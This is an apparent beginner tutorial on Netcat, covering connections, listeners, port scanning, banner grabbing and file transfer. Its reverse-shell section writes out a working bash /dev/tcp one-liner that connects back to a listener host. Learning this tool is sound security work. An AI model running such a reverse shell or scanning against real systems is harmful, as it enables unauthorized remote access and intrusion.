BeginnerTools
Netcat Guide: The Swiss Army Knife of Networking
Master Netcat for port scanning, banner grabbing, file transfers, reverse shells, and network debugging with practical examples.
#netcat#networking#reverse shell#port scanning#network debugging
Why You Need Netcat
You need a raw network connection — to send data, listen for incoming connections, transfer files, or scan ports — without overhead. Netcat is the Swiss Army Knife of Networking: a single binary that creates TCP/UDP connections, listens for reverse shells, grabs banners, and even tunnels traffic.
Prerequisites
Installation
# Already installed on Kali
sudo apt install ncat # Nmap's enhanced version
Basic Usage
nc -v example.com 80 # Connect to service
nc -lvnp 4444 # Listen for connections
Options: -l (listen), -v (verbose), -n (no DNS), -p (port).
Port Scanning
nc -zv 192.168.1.100 22-100
nc -znv 192.168.1.100 22 80 443
Banner Grabbing
echo "HEAD / HTTP/1.1
Host: example.com
" | nc -w 3 example.com 80
nc -w 3 192.168.1.100 22
File Transfer
# Receiver
nc -lvnp 4444 > received_file.txt
# Sender
nc -w 3 192.168.1.100 4444 < file_to_send.txt
Reverse Shell
# Listener
nc -lvnp 4444
# Target
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
Common Mistakes
Missing -v flag. Forgetting -w timeout. Assuming -e is available (often disabled).
Best Practices
Use timeouts. Prefer Ncat for SSL support. Test locally first.
Related Tools
Related Articles
Summary
Netcat is an indispensable networking utility for port scanning, banner grabbing, file transfer, and reverse/bind shells.